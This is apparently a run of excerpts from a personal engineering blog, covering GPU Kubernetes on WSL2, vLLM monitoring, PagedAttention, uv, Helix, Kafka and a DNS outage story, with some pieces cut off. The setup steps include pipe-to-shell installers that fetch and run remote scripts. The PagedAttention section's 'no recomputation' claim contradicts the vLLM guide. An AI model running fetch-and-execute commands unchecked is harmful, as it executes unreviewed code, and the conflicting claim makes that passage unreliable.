• Operational simplicity: A full deployment may combine KServe, Gateway API, Inference Extension, a gateway, LeaderWorkerSet, KEDA, llm-d components, an engine, a model cache, and accelerator drivers. The combination requires compatibility testing.
• Distributed-inference networking: Tensor parallelism, expert parallelism, and KV transfer are sensitive to topology and bandwidth. Kubernetes can place and restart pods, but it cannot compensate for insufficient network capacity.
• Stable, interoperable APIs: Several APIs remain alpha or project-specific and will continue to change.

Inference performance still depends on the model engine, kernels, quantization, batching, KV-cache management, accelerator topology, and request characteristics. Kubernetes supplies control, placement, lifecycle, and routing.

Sources and further reading

I’m starting to learn modern C++, so I wanted a repeatable development setup on Apple Silicon:

• use a modern LLVM/Clang toolchain
• build projects with CMake and Ninja
• get proper language-server support in VS Code and Helix
• use sanitizers and static analysis from the beginning
• keep the setup practical

This cheatsheet assumes that Homebrew is already installed.

I wanted a local environment where I could:

• run Kubernetes
• schedule GPU workloads
• experiment with CUDA / inference / device plugins
• avoid renting cloud GPUs

I used a Lenovo Legion laptop with an RTX GPU. The working stack was:

• Windows 11 + NVIDIA driver (WSL-enabled)
• WSL2 (Ubuntu 24.04)
• K3s (containerd)
• NVIDIA Container Toolkit
• NVIDIA device plugin

The non-obvious part was that the NVIDIA device plugin itself had to use runtimeClassName: nvidia.

Prerequisites

You need:

• Windows 11
• NVIDIA GPU (RTX in my case)
• Latest NVIDIA driver with WSL support
• WSL2 installed

Inside WSL:

nvidia-smi

Continue if this command detects the GPU.

Step 1: Don’t install Linux NVIDIA drivers

WSL already provides everything via:

/usr/lib/wsl/lib/

If nvidia-smi is missing:

echo 'export PATH=$PATH:/usr/lib/wsl/lib' >> ~/.bashrc
source ~/.bashrc

Do not install Linux NVIDIA drivers inside WSL:

apt install nvidia-utils-*

They can conflict with the driver components provided by Windows.

Step 2: Install NVIDIA Container Toolkit

curl -fsSL https://nvidia.github.io/libnvidia-container/gpgkey | \
  sudo gpg --dearmor -o /usr/share/keyrings/nvidia-container-toolkit-keyring.gpg

curl -s -L https://nvidia.github.io/libnvidia-container/stable/deb/nvidia-container-toolkit.list | \
  sed 's#deb https://#deb [signed-by=/usr/share/keyrings/nvidia-container-toolkit-keyring.gpg] https://#g' | \
  sudo tee /etc/apt/sources.list.d/nvidia-container-toolkit.list

sudo apt update
sudo apt install -y nvidia-container-toolkit

Step 3: Verify GPU in containers (Podman)

Generate CDI config:

sudo mkdir -p /etc/cdi
sudo nvidia-ctk cdi generate --output=/etc/cdi/nvidia.yaml

Test:

podman run --rm --device=nvidia.com/gpu=all ubuntu nvidia-smi

Step 4: Install K3s

Make sure systemd is enabled:

ps -p 1 -o comm=

It should print:

systemd

Install K3s:

curl -sfL https://get.k3s.io | sh -

Configure kubeconfig:

mkdir -p ~/.kube
sudo cp /etc/rancher/k3s/k3s.yaml ~/.kube/config
sudo chown $USER:$USER ~/.kube/config
export KUBECONFIG=~/.kube/config

Check:

kubectl get nodes

Step 5: Enable NVIDIA runtime in K3s

sudo nvidia-ctk runtime configure --runtime=containerd
sudo systemctl restart k3s

Verify:

sudo grep nvidia /var/lib/rancher/k3s/agent/etc/containerd/config.toml

Step 6: Install NVIDIA device plugin

kubectl apply -f \
https://raw.githubusercontent.com/NVIDIA/k8s-device-plugin/v0.17.1/deployments/static/nvidia-device-plugin.yml

Check:

kubectl get ds -n kube-system | grep nvidia
kubectl get pods -n kube-system | grep nvidia

Step 7: Run the device plugin with the NVIDIA runtime

On my setup, the plugin started but detected no GPUs.

Logs look like:

No devices found. Waiting indefinitely.

Set the DaemonSet's runtime class to nvidia:

kubectl patch daemonset nvidia-device-plugin-daemonset \
  -n kube-system \
  --type='merge' \
  -p '{"spec":{"template":{"spec":{"runtimeClassName":"nvidia"}}}}'

Restart the plugin pod:

kubectl delete pod -n kube-system -l name=nvidia-device-plugin-ds

Verify:

kubectl get node -o jsonpath='{.status.capacity.nvidia\.com/gpu}'

Expected:

1

Step 8: Run a GPU workload

cat <<'EOF' | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: cuda-smoke-test
spec:
  restartPolicy: Never
  runtimeClassName: nvidia
  containers:
  - name: cuda
    image: nvcr.io/nvidia/k8s/cuda-sample:nbody
    args: ["nbody", "-gpu", "-benchmark"]
    resources:
      limits:
        nvidia.com/gpu: 1
EOF

Watch:

kubectl get pod cuda-smoke-test -w
kubectl logs cuda-smoke-test

Limits

This setup is good for:

• learning Kubernetes GPU scheduling
• testing inference workloads
• experimenting with device plugins
• prototyping LLM infra locally

It is not suitable for:

• performance benchmarking
• multi-GPU experiments
• production-like environments

Save the working DaemonSet configuration if you want to reuse it:

kubectl get ds nvidia-device-plugin-daemonset -n kube-system -o yaml > nvidia-device-plugin-wsl2.yaml

I use Visual Studio Code for work and personal projects. It has been my main editor for years, across several languages and ecosystems.

Since I started using coding agents and chat-based interfaces, I've also wanted a more focused environment without the panels, notifications, and status updates. This is especially useful when I'm reading a book and reimplementing its examples. I've been using Helix, a terminal-based code editor, for this kind of work.

I previously configured Helix for Go but didn't record the steps. This note covers my Python setup: LSP support, type checking with ty, formatting and linting with Ruff, and debugging with debugpy.

I use macOS, so some paths and shell commands are platform-specific. The Helix configuration should work on other operating systems as well.

Start by checking Helix's Python configuration:

hx --health python

In my case, the output looks like this:

Configured language servers:
  ✘ ty: 'ty' not found in $PATH
  ✘ ruff: 'ruff' not found in $PATH
  ✘ jedi: 'jedi-language-server' not found in $PATH
  ✘ pylsp: 'pylsp' not found in $PATH
Configured debug adapter: None
Configured formatter: None
Tree-sitter parser: ✓
Highlight queries: ✓
Textobject queries: ✓
Indent queries: ✓

No language servers or formatters are available yet, but the Tree-sitter parser and queries are configured. I use uv to install Ruff and ty:

uv tool install ruff
uv tool install ty

This installs Ruff and ty as command-line tools. On macOS, uv tool install puts executables in a user bin directory that must be on PATH. The exact path depends on your setup; a common configuration is:

echo 'export PATH="$HOME/.local/bin:$PATH"' >> ~/.zshrc
source ~/.zshrc

If needed, update the shell configuration and then check that both tools are available:

which ruff
which ty

If which prints nothing, Helix will not find the tools either. Check the configuration again:

hx --health python

The output should now look like this:

Configured language servers:
  ✓ ty: /Users/akrisanov/.local/bin/ty
  ✓ ruff: /Users/akrisanov/.local/bin/ruff
  ✘ jedi: 'jedi-language-server' not found in $PATH
  ✘ pylsp: 'pylsp' not found in $PATH
Configured debug adapter: None
Configured formatter: None
Tree-sitter parser: ✓
Highlight queries: ✓
Textobject queries: ✓
Indent queries: ✓

Open the Helix language configuration, usually ~/.config/helix/languages.toml, and add:

[[language]]
name = "python"
language-servers = ["ruff", "ty"]
auto-format = true
formatter = { command = "ruff", args = ["format", "-"] }

[language-server.ruff]
command = "ruff"
args = ["server"]

[language-server.ty]
command = "ty"
args = ["server"]

For debugging, install debugpy with pip:

pip install debugpy

Then append this configuration to languages.toml:

[language.debugger]
name = "debugpy"
transport = "stdio"
command = "python3"
args = ["-m", "debugpy.adapter"]

[[language.debugger.templates]]
name = "source"
request = "launch"
completion = [
  { name = "entrypoint", completion = "filename", default = "." }
]
args = { mode = "debug", program = "{0}" }

Updated: 2026-06-18

Version scope: This guide targets vLLM 0.23.x and its default V1 engine. Metric names and semantics change between releases, so verify the /metrics output of the exact version and serving configuration you run before copying queries or alerts into production.

A vLLM server can pass Kubernetes health checks while users experience slow or unstable responses. Requests may wait in the scheduler, long prompts may make prefill expensive, or token streaming may become uneven.

This guide focuses on the metrics needed to diagnose latency, scheduler backlog, KV-cache pressure, throughput changes, and workload shifts during incidents and capacity reviews. The examples use Prometheus and Grafana.

Observability boundary

vLLM metrics describe the inference server and engine. They do not describe the entire request path.

A production request usually crosses several layers:

Client
  -> API gateway or ingress
  -> authentication, quotas, and routing
  -> vLLM API server
  -> scheduler and model executor
  -> streaming response
  -> client

A user-visible latency regression can originate in any of these layers. Monitor all three groups:

• Gateway metrics: incoming request rate, HTTP status codes, upstream latency, retries, timeouts, and client disconnects
• vLLM metrics: queueing, TTFT, inter-token latency, request latency, throughput, preemption, and KV-cache usage
• GPU and host metrics: utilization, memory, power, clocks, throttling, PCIe or NVLink errors, and node health

Engine metrics explain what happens inside vLLM, but do not show whether the complete service is healthy.

Metric names and Prometheus conventions

vLLM exposes Prometheus metrics on the OpenAI-compatible server's /metrics endpoint.

Metric names use the vllm: prefix:

vllm:num_requests_running
vllm:time_to_first_token_seconds
vllm:prompt_tokens_total

Standard Prometheus preserves the colon. Some OpenTelemetry pipelines, managed monitoring products, or custom ingestion layers may normalize metric names. Always check the names stored in your monitoring backend:

curl -s http://<vllm-host>:8000/metrics | grep '^vllm:' | head -50

Metric type determines how to query it:

• Histograms have _bucket, _sum, and _count series. Use rate() and histogram_quantile() to calculate latency percentiles
• Counters are exposed with a _total suffix. Use rate() or increase()
• Gauges represent current state. Query them directly or aggregate them across replicas

The examples below group by model_name. Add stable labels such as cluster, namespace, or service as needed. Avoid aggregating unrelated models into one percentile: a fast small model can hide a regression in a much larger one.

User-visible latency metrics

Three latency metrics cover most user-visible problems.

TTFT: time to first token

Metric:

vllm:time_to_first_token_seconds

TTFT measures how long vLLM takes to produce the first output token. At the serving boundary, it includes request processing, scheduler waiting, prefill, and the first generation step. Client-visible TTFT also includes gateway, routing, network, and streaming overhead.

A high TTFT may indicate queueing, longer prompts, lower prefix-cache reuse, or a slow first model-execution step. It does not by itself show that the GPU is slow.

ITL: inter-token latency

Metric:

vllm:inter_token_latency_seconds

ITL measures the delay between streamed output tokens. This is the most direct engine-level metric for visible pauses during streaming.

Request-level TPOT

Metric:

vllm:request_time_per_output_token_seconds

This metric records the average time per output token for a completed request. It is useful for comparing decode efficiency across requests, but it can hide individual stalls. A request may have acceptable average TPOT while still containing several poor ITL samples.

For interactive services, monitor both ITL and request-level TPOT. Use ITL for streaming smoothness and TPOT for request-level decode efficiency.

Supporting latency metrics

• Queue time: vllm:request_queue_time_seconds
• End-to-end latency inside the vLLM serving boundary: vllm:e2e_request_latency_seconds
• Prefill time: vllm:request_prefill_time_seconds
• Decode time: vllm:request_decode_time_seconds

PromQL for latency percentiles

P95 TTFT

histogram_quantile(
  0.95,
  sum by (le, model_name) (
    rate(vllm:time_to_first_token_seconds_bucket[5m])
  )
)

P99 inter-token latency

histogram_quantile(
  0.99,
  sum by (le, model_name) (
    rate(vllm:inter_token_latency_seconds_bucket[5m])
  )
)

P95 request-level TPOT

histogram_quantile(
  0.95,
  sum by (le, model_name) (
    rate(vllm:request_time_per_output_token_seconds_bucket[5m])
  )
)

P95 queue time

histogram_quantile(
  0.95,
  sum by (le, model_name) (
    rate(vllm:request_queue_time_seconds_bucket[5m])
  )
)

P95 vLLM end-to-end latency

histogram_quantile(
  0.95,
  sum by (le, model_name) (
    rate(vllm:e2e_request_latency_seconds_bucket[5m])
  )
)

Percentiles need enough observations. P99 over five minutes is often noisy for low-volume models. Show request volume next to percentile panels, use a longer range when traffic is sparse, and remember that classic Prometheus histogram quantiles are estimated from configured buckets.

Interpreting latency signals

No single metric identifies the cause. Use combinations of signals:

Treat this table as triage, not proof. Confirm the hypothesis with workload-shape metrics, preemption counters, prefix-cache metrics, GPU telemetry, and request traces.

Throughput and offered load

Latency tells you what users experience. Throughput tells you how much work the engine completes.

Prompt tokens per second

sum by (model_name) (
  rate(vllm:prompt_tokens_total[5m])
)

Generated tokens per second

sum by (model_name) (
  rate(vllm:generation_tokens_total[5m])
)

Completed engine requests per second

sum by (model_name) (
  rate(vllm:request_success_total[5m])
)

The last query measures completed engine requests, not incoming demand. During overload, completion rate may flatten while new requests continue to arrive. Measure true offered load at the gateway or API-server boundary.

Token throughput is meaningful only alongside workload shape. A drop in generated tokens per second may mean:

• lower request volume
• shorter outputs
• more prefill-heavy traffic
• slower decode
• scheduler contention
• a model or configuration change

Before calling it a serving regression, compare request rate, prompt-token rate, output-length distributions, TTFT, ITL, queue time, and active concurrency.

Workload shape

The same model and hardware can behave very differently when prompt and output lengths change.

Useful request histograms include:

• vllm:request_prompt_tokens
• vllm:request_generation_tokens
• vllm:request_params_max_tokens
• vllm:request_prefill_kv_computed_tokens

Use them to detect longer prompts or outputs, measure how prefix caching changes prefill work, and distinguish traffic composition changes from infrastructure regressions.

Keep workload-shape panels near latency and throughput panels so that workload changes are not mistaken for serving regressions.

Scheduler and KV-cache pressure

The current V1 engine normally handles KV-cache pressure through preemption and recomputation. When the active working set no longer fits cleanly, vLLM can evict request state and later recompute it. Correctness is preserved, but useful compute is repeated and latency increases.

Scheduler state

• vllm:num_requests_running: requests included in active model-execution batches
• vllm:num_requests_waiting: requests waiting for scheduler capacity
• vllm:num_requests_waiting_by_reason: waiting requests partitioned by reason
• vllm:num_preemptions_total: cumulative number of preemptions

A non-zero waiting gauge is not necessarily an incident. Short queues are normal under bursty traffic and continuous batching. Alert on sustained queue time, a growing backlog, or queueing that violates the service objective.

KV-cache usage

Metric:

vllm:kv_cache_usage_perc

This gauge represents the fraction of allocated KV-cache capacity currently in use.

High usage is not necessarily a problem. A healthy operating range depends on model architecture, context-length distribution, concurrency, prefix-cache reuse, speculative decoding, and cache configuration. Do not copy a universal threshold such as 80% or 95% without testing your own deployment.

A stronger pressure signal is the combination of:

• KV-cache usage near its normal ceiling
• increasing queue time
• increasing preemptions
• worsening TTFT, ITL, or vLLM end-to-end latency

Preemption rate

sum by (model_name) (
  rate(vllm:num_preemptions_total[5m])
)

An occasional preemption during a short burst may not justify an incident. Sustained preemption above a tested baseline matters, especially when latency or queueing also degrades.

Prefix-cache effectiveness

When automatic prefix caching is enabled, calculate the hit ratio from its counters:

sum by (model_name) (
  rate(vllm:prefix_cache_hits_total[5m])
)
/
clamp_min(
  sum by (model_name) (
    rate(vllm:prefix_cache_queries_total[5m])
  ),
  1
)

Interpret this together with workload composition. A low ratio may be expected for diverse prompts. A sudden drop for a stable workload may explain increased prefill cost and TTFT.

Request completion and failures

vLLM exposes a counter of completed engine requests partitioned by the finished_reason label:

vllm:request_success_total{finished_reason="..."}

Completed requests by reason

sum by (model_name, finished_reason) (
  rate(vllm:request_success_total[5m])
)

Despite its name, this metric is not a complete service-level success-rate metric. Requests can fail before they reach the engine because of authentication, quota enforcement, malformed input, routing failures, gateway timeouts, or connection errors. Client disconnects and cancellations may also be represented differently depending on the serving path and version.

Use request_success_total as an engine-completion signal. Measure service availability and error rate at the HTTP boundary.

Dashboard

An incident dashboard should show user-visible latency, queued work, memory pressure, and workload changes.

Include at least:

1. Incoming request rate and HTTP error rate at the gateway or API server
2. P95 and P99 TTFT
3. P95 and P99 ITL
4. P95 request-level TPOT
5. P95 vLLM end-to-end latency
6. P95 queue time and current waiting requests
7. Preemption rate and KV-cache usage
8. Prompt and generation token throughput
9. Prompt-length and output-length distributions
10. Prefix-cache hit ratio when prefix caching is enabled
11. GPU utilization, memory, power, clocks, throttling, and hardware errors

vLLM ships reference Grafana and Perses dashboards. Use them as a baseline, then add your deployment labels, gateway metrics, SLO panels, and links to pod-level GPU telemetry.

Alerts

Alert thresholds should come from SLOs and representative load tests, not generic constants copied from another deployment.

The following rules show alert patterns. Replace the example thresholds and selectors with values derived from your service.

groups:
  - name: vllm-serving
    rules:
      - alert: VLLMHighTTFT
        expr: |
          histogram_quantile(
            0.95,
            sum by (le, cluster, model_name) (
              rate(vllm:time_to_first_token_seconds_bucket[5m])
            )
          ) > 3
        for: 10m
        labels:
          severity: warning
        annotations:
          summary: "vLLM TTFT is above the service objective"
          description: "P95 TTFT for {{ $labels.model_name }} is {{ $value | printf \"%.2f\" }} seconds."

      - alert: VLLMQueueTimeHigh
        expr: |
          histogram_quantile(
            0.95,
            sum by (le, cluster, model_name) (
              rate(vllm:request_queue_time_seconds_bucket[5m])
            )
          ) > 2
        for: 10m
        labels:
          severity: warning
        annotations:
          summary: "vLLM requests are spending too long in the scheduler queue"
          description: "P95 queue time for {{ $labels.model_name }} is {{ $value | printf \"%.2f\" }} seconds."

      - alert: VLLMPreemptionRelatedDegradation
        expr: |
          sum by (cluster, model_name) (
            increase(vllm:num_preemptions_total[10m])
          ) > 0
          and
          histogram_quantile(
            0.95,
            sum by (le, cluster, model_name) (
              rate(vllm:time_to_first_token_seconds_bucket[5m])
            )
          ) > 3
        for: 10m
        labels:
          severity: warning
        annotations:
          summary: "vLLM preemptions correlate with degraded TTFT"
          description: "Requests are being recomputed while TTFT is above the service objective."

The preemption expression is intentionally correlated with latency and aggregated to the same cluster and model_name labels as TTFT. Page on user impact, not on an isolated internal event.

For availability and latency SLOs, prefer multi-window burn-rate alerts. Raw percentile alerts are included here as compact examples, but should not replace an SLO-based alerting strategy.

Runbook: metrics to diagnosis

Scenario 1: TTFT rises and queue time rises

Signals

• P95 TTFT increases
• P95 queue time increases
• vllm:num_requests_waiting remains above its normal baseline

Likely causes

• offered load exceeds serving capacity
• prompt lengths increased
• large prefills occupy scheduler capacity
• traffic is distributed unevenly across replicas

Actions

1. Compare incoming request rate and prompt-length distributions with the previous healthy period
2. Check whether all replicas receive comparable traffic and remain healthy
3. Confirm whether the bottleneck is prefill, decode, or queueing
4. Apply admission control or shed non-critical load if latency is unstable
5. Scale out only after confirming that additional replicas address the actual bottleneck

Scenario 2: ITL rises while queue time remains low

Signals

• P95 or P99 ITL increases
• queue time remains close to normal
• generated tokens per second may fall

Likely causes

• excessive active concurrency
• GPU memory-bandwidth pressure
• GPU clock or power throttling
• distributed-execution or communication overhead
• a model, kernel, or runtime change

Actions

1. Check GPU clocks, power, temperature, utilization, and hardware-error metrics
2. Compare the model and vLLM configuration with the last healthy release
3. Run a representative load test before changing max_num_seqs or max_num_batched_tokens
4. Remember that lower concurrency may improve ITL while reducing aggregate throughput or increasing queue time

Scenario 3: Preemptions increase

Signals

• rate(vllm:num_preemptions_total[5m]) becomes elevated
• KV-cache usage is near its normal ceiling
• queue time, TTFT, ITL, or end-to-end latency worsens

Cause

The active KV-cache working set does not fit cleanly. vLLM evicts request state and recomputes it later, which wastes compute and increases latency.

Actions

1. Stabilize admitted load before tuning the engine
2. Check whether prompt lengths, output limits, or concurrency changed
3. Reproduce the workload in a controlled load test
4. Test max_num_seqs and max_num_batched_tokens as trade-offs, not one-directional fixes
5. Increase gpu_memory_utilization only after validating startup and peak-load memory behavior Leave headroom for CUDA graphs, communication buffers, runtime workspaces, and model-specific allocation spikes.
6. Add replicas or GPU capacity if the working set is legitimate and sustained

Scenario 4: HTTP errors or client cancellations rise

Signals

• gateway or API-server 4xx/5xx rates increase
• upstream timeouts or client disconnects increase
• vLLM engine completion rate may fall or remain flat

Likely causes

• authentication or quota failures
• gateway timeout configuration
• malformed or unsupported requests
• overloaded routing or admission layers
• clients giving up while requests wait
• engine or CUDA failures

Actions

1. Start at the HTTP boundary: status codes, timeout reasons, and upstream latency
2. Correlate failures with vLLM queue time and TTFT
3. Inspect vLLM and GPU logs for runtime or hardware errors
4. Do not infer the service error rate from request_success_total alone

Further reading

vLLM is an LLM inference engine designed to improve GPU utilization. Its key mechanism is PagedAttention, which manages the KV-cache without the memory waste common in traditional LLM serving stacks. More efficient memory use supports larger batches and steadier latency under load.

KV-cache fragmentation

In traditional LLM serving systems, the KV-cache (the keys and values representing token context) must live in a single contiguous block of GPU memory.

The system does not know in advance how long the model’s answer will be.

It therefore reserves memory for the maximum context length—say, 2048 or 4096 tokens—for every request.

• Large chunks of VRAM are reserved but never used
• Memory becomes fragmented
• Up to 60–80% of KV-cache memory is effectively wasted

That VRAM could instead serve more requests in parallel.

PagedAttention

PagedAttention takes inspiration from virtual memory and paging in operating systems.

Instead of allocating one large contiguous region per request, it uses fixed-size blocks:

1. Split the KV-cache into fixed-size blocks. Each request’s KV-cache is divided into blocks, such as 16 or 32 tokens per block.
2. Store blocks non-contiguously. The blocks can reside anywhere in VRAM.
3. Map logical to physical blocks. A block table maps the logical token order to physical GPU memory blocks.
4. Allocate blocks as needed. vLLM allocates new blocks as it generates tokens instead of reserving the maximum space up front.

This block-based allocation accounts for much of vLLM’s performance improvement.

Effects of a paged KV-cache

• Less external fragmentation. Because blocks do not need to be contiguous, free memory can be reused instead of becoming unusable holes.
• Limited internal fragmentation. Only the last block of a sequence may be partially empty. With reasonable block sizes, memory loss is typically below 4%.
• Larger batch sizes. Better memory efficiency allows more concurrent requests per GPU, a main driver of performance on modern GPUs.
• Higher throughput. In practice, this enables 2–4× throughput compared with TGI and up to about 24× compared with naïve Hugging Face serving setups.
• Continuous batching. New requests can be added as soon as completed requests free blocks, without waiting for a full batch boundary.
• Prefix and prompt caching. Multiple requests can point to the same physical blocks for shared prefixes, such as system prompts and long examples.
• Copy-on-write. When generating multiple completions from the same prompt, vLLM allocates new blocks only after the outputs diverge. This can save up to about 55% of KV-cache memory.
• Lower TTFT under load. PagedAttention does not reduce the computation required for the first token. Higher throughput can clear queues faster, reducing the queue-time component of TTFT.
• Preemption and swapping. If VRAM runs low, individual blocks can be swapped to CPU memory instead of causing an out-of-memory error.
• No recomputation. Unlike approaches that discard the KV-cache under pressure, PagedAttention preserves progress and resumes generation without processing the prompt again.

Block size

Block size affects:

• Internal fragmentation
• Metadata and indexing overhead
• Eviction and preemption behavior (if used)

Smaller blocks improve memory efficiency but increase overhead.

Larger blocks reduce overhead but waste more space at the end of sequences.

The best value depends on the workload.

Prefill and decode

The two phases have different bottlenecks:

Prefill

• Often compute- or memory-bound
• Cost grows with input sequence length

Decode

• Usually memory-bandwidth-bound
• Heavily dependent on KV-cache efficiency and batching
• TTFT (Time to First Token) = queue time + prefill latency

PagedAttention mainly improves decode throughput.

So if you see this pattern:

• tokens/sec ↑
• p99 TTFT unchanged (or worse)

then decode improved, but queueing or prefill remains the bottleneck.

uv provides a Cargo-like, cross-platform workflow for managing Python projects, command-line tools, single-file scripts, and Python versions.

Installation & Updates

# Install
curl -LsSf https://astral.sh/uv/install.sh | sh

# Update
uv self update

Managing Python Versions

uv can manage Python versions instead of pyenv, mise, asdf, or OS-specific installation methods:

# List available versions
uv python list

# Install Python 3.13
uv python install 3.13

• Works across operating systems
• No admin rights required
• Independent of system Python

You can also use mise alongside uv if you prefer a global version manager.

Projects & Dependencies

Initialize a project and create pyproject.toml:

uv init myproject
# Or specify the Python version and project name:
uv init -p 3.13 --name myproject
cd myproject

Sync dependencies:

uv sync

Add dependencies:

uv add litestar
uv add pytest --dev

Generate a cross-platform lockfile, similar to Pipfile.lock or poetry.lock:

uv lock

The lockfile is cross-platform, so it can be generated on Windows and used for deployment on Linux.

Virtual Environments

# Create and activate a virtual environment
uv venv
source .venv/bin/activate

# Or run in the environment without activating it
uv run python app.py

Scripts

# Create a new script
uv init --script

# /// script
# requires-python = ">=3.13"
# dependencies = [
#     "requests",
# ]
# ///
import requests

print(requests.get("https://akrisanov.com"))

Run a single-file script and install its declared dependencies automatically:

uv run script.py

On Unix-like systems, add #!/usr/bin/env -S uv run and run chmod +x script.py to make the script executable.

Tools

Install CLI tools in environments isolated from the system Python:

uv tool install ruff # replaces pipx
uv tool install httpie

uvx httpie # Run the tool without installing it permanently

# --with [temp dependency] runs jupyter in the current project
# without adding it and its dependencies to the project
uv run --with jupyter jupyter notebook

uv run checks the lockfile and environment before each command and updates them when needed.

For local CLI tool development:

uv init --package your_tool
uv tool install . -e

See the tools documentation.

Replacing pip-tools

uv pip compile # replaces pip-tools compile
uv pip sync    # replaces pip-tools sync

Building and Publishing Packages

# Build a `.whl` package for PyPI
uv build
# Upload your Python package to PyPI
uv publish

Pre-commit Hooks

uv run --with pre-commit-uv pre-commit run --all-files
pre-commit-uv

GitHub Actions

astral-sh/setup-uv # brings UV to GitHub Actions

Docker

The official Docker images include uv and Python:

ghcr.io/astral-sh/uv:latest

See also Hynek Schlawack’s Production-ready Python Docker Containers with uv.

Workspaces

Use a workspace to manage multiple packages together.

For example, a repository can contain a FastAPI application and several libraries, each maintained as a separate Python package.

Each package has its own pyproject.toml, while the workspace uses one lockfile and a consistent set of dependencies.

Notes and Limitations

• uv sync respects .python-version, but the UV_PYTHON environment variable takes precedence
• Uses python-build-standalone, whose builds can be slightly slower than system builds (~1–3%) and lack CPU-specific optimizations
• The cache can grow large
• Legacy projects may fail if they depended on pip’s older, looser dependency resolution rules
• Faster dependency installation can reduce CI and container build times
• Astral maintains python-build-standalone, which provides Python builds that do not require installers

Further Reading

• Dependency Sources — explains how uv resolves dependencies
• UV with Django
• PEP 723 – Inline script metadata
• WIP: Using uv run as a task runner

At a previous company, I worked on a decade-old .NET SaaS codebase that had been through several framework upgrades. The upgrades were incomplete, and many NuGet packages in the solution were outdated or deprecated by the time I became the engineering manager.

I rely on linting, static analysis, and formatting tools in Python and Go projects, so I reviewed the equivalent tooling available for .NET. I started by scanning every NuGet package in the solution for known vulnerabilities.

The .NET CLI provides this check through dotnet list package --vulnerable. Developers can run it locally, but an automated check prevents it from being missed.

Updated: 2026-09-01

Hi,

My name is Andrey Krisanov, and I'm a Staff Software Engineer at Severstal. I build AI infrastructure, ML systems, and distributed systems. A large part of my current work is production LLM serving.

I live in Moscow with my wife and son. We're preparing for a major move and the next chapter of our lives.

Outside work, I read, take long walks, spend time with my family, travel when I can, and try to stay in shape.

My main technical interests are distributed systems, GPU infrastructure, Kubernetes, Go, developer tooling, and running reliable software in production. On this site, I write about the systems I build, problems I investigate, and things I learn along the way.

I'm also on other platforms:

• For open-source projects and programming work, visit my GitHub profile.
• For shorter notes and updates, follow me on X. You can also reach me directly on Telegram.
• For more about my professional experience, see my LinkedIn profile or download my résumé.

I use Apple Music for most of my music collection. I also buy rare or remastered CD releases that are sometimes distributed as FLAC files, which Apple Music does not support. I convert them to Apple Lossless Audio Codec (ALAC) before importing them into my library.

Install FFmpeg with Homebrew:

brew install ffmpeg

Install FFmpeg with Homebrew

Open the directory containing the FLAC files and run:

for file in *.flac; do
  ffmpeg -i "$file" -acodec alac -vcodec copy "$(basename "$file" .flac).m4a"
done

mkdir flac alac

for file in *.flac; do
  mv "$file" flac/
done

for file in *.m4a; do
  mv "$file" alac/
done

Convert FLAC files to ALAC and organize the output

The script converts each FLAC file to ALAC in an .m4a container. It moves the source files to flac and the converted files to alac:

Drag the alac directory into Apple Music to import the album and upload its tracks to the cloud.

When development and deployment use different operating systems or processor architectures, generate the Python lockfile in the deployment environment. GitHub Actions can run this step without requiring the same environment on the developer's machine.

I develop on macOS with Apple silicon, while most of my projects run on Linux. Resolved dependencies can differ between these environments because not every package provides wheels for every platform. The Python version can also affect the result.

For example, pip-compile can produce different lockfiles on macOS, Linux, and Windows:

pip-compile --allow-unsafe --generate-hashes --no-emit-index-url --output-file=requirements-lock.txt

Using pip-tools to compile a requirements lockfile

Keycloak User Federation can synchronize users from an external directory through LDAP or Kerberos. In a large Active Directory structure, the users required by one Keycloak realm may be spread across several organizational units. A custom LDAP filter can select only those accounts.

Over the past few years, I have interviewed dozens of software engineers who could not explain how the services they developed ran in production. Infrastructure or platform teams often manage deployment, but that division of responsibility does not remove the need to understand a service's runtime behavior.

Apache Kafka is often proposed whenever a project needs to process events, messages, or data streams. The choice is not always deliberate. A conventional message broker such as ActiveMQ may be enough, but Kafka's popularity can influence the decision.

If Kafka has been selected deliberately or mandated by the infrastructure team, settle the following points before configuring the brokers and writing producers and consumers.

1. Estimate producer data volume. Confirm that the network can handle the load across the system, especially on critical paths. Evaluate message compression where appropriate.

2. Define the data retention policy. Set the retention period from the product's business and data-protection requirements, then account for the storage cost.

3. Choose producer acknowledgement settings. Balance latency against reliability and durability under replication.

4. Define delivery guarantees. Establish how the product handles message loss and duplicate messages. Decide whether it needs idempotent producers or transactions.

5. Choose a partitioning strategy. Verify that Kafka's default partitioner matches the required ordering and load distribution.

6. Choose the topic cleanup policy. Keep the complete message log when every record matters. If only the latest value for each key matters, consider log-compacted topics.

7. Plan consumer groups. Define how consumers will scale, what throughput they need, and how they will behave during group rebalancing.

This checklist covers application-facing decisions. Encryption, authentication, authorization, and cluster configuration still need explicit ownership, even when an SRE team or a PaaS manages them.

Summer of 2019. I'm joining a large retail organization that is undergoing a digital transformation. The role I've been hired for is a technical leadership role. The project I'm taking over doesn't even have a complete team yet, which means I'll be wearing all sorts of hats until I hire someone and delegate work. You could say, I'm the only "developer" on the team. Also, the code base is already serving users, and the services are part of a lead generation funnel for one of the grocery networks. So if something goes down, the company loses potential customers and revenue. The fact that the project was developed by an outsourced team that has already left without handing over proper documentation makes things more complicated and fragile.

In a few days, I try to understand how the services are run in production, write missing README and system design papers, and create initial tasks for maintenance. All goes well, and I manage to deploy some changes to the backend. It's Friday afternoon, so I still have time to do a rollback if I've made a mistake. But nothing suspicious has been observed during the day, and I leave the office for the weekend.

The fun begins on Sunday. Because I'm in charge of the project, I'm the one who is on-call. I get a call from our support team telling me that the web application isn't responding from time to time and that they're getting complaints from customers.

The first thing I do is open my browser to check what users are seeing. Surprisingly, a web page loads just fine. I hit refresh – same result. Then I turn off Wi-Fi on my iPhone and open Safari – 504 error. It's a Nginx page. Now it is something.

I open the monitoring and observe no high load. CPU usage is low, more than 50% of memory is free, plenty of free disk space on each of the virtual machines, no spikes in the network bandwidth. Looking at the Nginx logs only proves that there's a gateway timeout error related to the backend. I should check the application backend logs. Nothing there, no errors at all.

At this point, I start to blame the network and call the network infrastructure team. These guys work on an organisational level and potentially can see what I can't. After spending an hour investigating together, we see nothing. It's already Sunday evening, and I'm almost hopeless.

I decide to take a break and go for a walk. When I'm back, I try to ssh to a VM again. Suddenly, I notice a few seconds of delay before I can type my commands into a terminal. "It can't be DNS", I say to myself. To prove it, I ping a public domain from our network. Again, a few seconds of delay and the network packets are flying without a hitch. "If DNS was down, the infrastructure team would notice," I continue to reason. Before escalating the situation further to upper management, I choose to check the DNS configuration on the backend virtual machines.

The /etc/resolv.conf file contains DNS resolver configuration in the following format:

nameserver [ip]
nameserver [ip]

